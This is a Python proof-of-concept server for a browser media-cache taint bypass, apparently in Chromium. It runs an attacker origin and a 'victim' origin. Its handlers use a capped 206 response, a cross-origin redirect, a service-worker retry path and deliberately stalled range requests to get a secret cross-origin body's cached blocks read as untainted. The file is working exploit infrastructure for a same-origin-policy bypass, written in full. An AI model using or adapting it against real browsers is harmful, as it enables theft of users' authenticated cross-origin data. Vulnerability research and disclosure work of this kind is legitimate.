#!/usr/bin/env python3
"""
Dual-origin HTTP server for the UrlData::RedirectTo taint-bypass POC.

  Origin A: http://localhost:8080   (attacker page + service worker + /v1 + /v2)
  Origin B: http://127.0.0.1:8081   (victim "secret" media endpoint)

Layout (block size = 32768):
  - B/secret serves a capped 206 (bytes 0-65535/<TOTAL>) -> fills blocks 0,1
    of UrlData(B), then DidFinishLoading triggers the partial-retry path.
  - On the retry the SW redirects B/secret -> A/v2 and then serves fetch(A/v2)
    (kBasic). RedirectTo() merges B's blocks 0,1 into the freshly-created
    untainted UrlData(A/v2).
  - A/v2 then serves bytes 65536- so the provider finishes cleanly and
    UrlData(A/v2) becomes Valid()/FullyCached().
  - A second <video src=A/v2> opened afterwards reads B's bytes from blocks
    0,1 with WouldTaintOrigin()==false.
"""

import http.server
import os
import re
import socketserver
import sys
import threading

HERE = os.path.dirname(os.path.abspath(__file__))
PORT_A = int(os.environ.get('PORT_A', '8080'))
PORT_B = int(os.environ.get('PORT_B', '8081'))

# --- media payloads -------------------------------------------------------

def load(path):
    with open(path, 'rb') as f:
        return f.read()

# Origin-A media (what /v2 *claims* to be).
A_MEDIA = load(os.path.join(HERE, 'a_media.webm'))
# Origin-B "secret" media (the cross-origin authenticated body).
B_MEDIA = load(os.path.join(HERE, 'b_secret.webm'))

# Advertised total size for both endpoints. Must exceed B's capped range so
# DidFinishLoading takes the retry branch, and must be servable by A/v2 for
# Range: bytes=65536-.
TOTAL = max(len(A_MEDIA), len(B_MEDIA), 200000)
B_CAP = 32768  # exactly one 32 KiB multibuffer block

RANGE_RE = re.compile(r'bytes=(\d+)-(\d*)')


def parse_range(hdr):
    if not hdr:
        return None
    m = RANGE_RE.match(hdr)
    if not m:
        return None
    start = int(m.group(1))
    end = int(m.group(2)) if m.group(2) else None
    return start, end


class BaseHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'

    def log_message(self, fmt, *args):
        sys.stderr.write('[%s] %s Range=%r %s\n' % (
            self.__class__.__name__, self.path,
            self.headers.get('Range'), fmt % args))

    def send_file(self, body, ctype):
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(body)

    def send_range(self, payload, total, start, end, ctype='video/webm',
                   cacheable=True):
        end = min(end, total - 1)
        # Clip the actual bytes we have; pad with zeros beyond payload length
        # so we can advertise an arbitrarily large instance size.
        chunk = bytearray()
        i = start
        while i <= end:
            j = min(end + 1, len(payload))
            if i < len(payload):
                chunk += payload[i:j]
                i = j
            else:
                chunk += b'\x00' * (end + 1 - i)
                i = end + 1
        self.send_response(206)
        self.send_header('Content-Type', ctype)
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Content-Range',
                         'bytes %d-%d/%d' % (start, end, total))
        self.send_header('Content-Length', str(len(chunk)))
        if cacheable:
            self.send_header('Cache-Control', 'max-age=3600')
        else:
            self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(chunk)


class HandlerA(BaseHandler):
    def do_GET(self):
        path = self.path.split('?', 1)[0]
        if path == '/' or path == '/index.html':
            self.send_file(load(os.path.join(HERE, 'index.html')),
                           'text/html; charset=utf-8')
        elif path == '/sw.js':
            body = load(os.path.join(HERE, 'sw.js'))
            self.send_response(200)
            self.send_header('Content-Type', 'text/javascript')
            self.send_header('Content-Length', str(len(body)))
            self.send_header('Cache-Control', 'no-store')
            self.send_header('Service-Worker-Allowed', '/')
            self.end_headers()
            self.wfile.write(body)
        elif path == '/v1':
            # Network-level redirect to the cross-origin victim.
            self.send_response(302)
            self.send_header('Location',
                             'http://127.0.0.1:%d/secret' % PORT_B)
            self.send_header('Content-Length', '0')
            self.end_headers()
        elif path == '/v2':
            r = parse_range(self.headers.get('Range'))
            start = r[0] if r else 0
            if start < B_CAP:
                # The only legitimate request from the exploit chain arrives
                # with start == B_CAP (the retry's byte_pos). Anything below
                # that is the v1 element's data source trying to *re-fetch*
                # blocks that the merge already populated with B's bytes.
                # Stall those so the cross-origin blocks are still in place
                # when the sibling /v2 element opens the shared UrlData.
                import time
                time.sleep(10)
            self.send_range(A_MEDIA, TOTAL, start, TOTAL - 1)
        else:
            self.send_response(404)
            self.send_header('Content-Length', '0')
            self.end_headers()


class HandlerB(BaseHandler):
    def do_GET(self):
        path = self.path.split('?', 1)[0]
        if path == '/secret':
            r = parse_range(self.headers.get('Range'))
            start = r[0] if r else 0
            # Cap at B_CAP bytes regardless of what was requested, while
            # advertising TOTAL as the instance size. This is the "victim
            # serves a capped 206" precondition that drives the retry.
            end = min(start + B_CAP - 1, TOTAL - 1)
            self.send_range(B_MEDIA, TOTAL, start, end,
                            cacheable=False)
        else:
            self.send_response(404)
            self.send_header('Content-Length', '0')
            self.end_headers()


class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def main():
    a = ThreadingServer(('127.0.0.1', PORT_A), HandlerA)
    b = ThreadingServer(('127.0.0.1', PORT_B), HandlerB)
    ta = threading.Thread(target=a.serve_forever, daemon=True)
    tb = threading.Thread(target=b.serve_forever, daemon=True)
    ta.start()
    tb.start()
    sys.stderr.write('Origin A on http://localhost:%d/  '
                     'Origin B on http://127.0.0.1:%d/\n' % (PORT_A, PORT_B))
    try:
        threading.Event().wait()
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    main()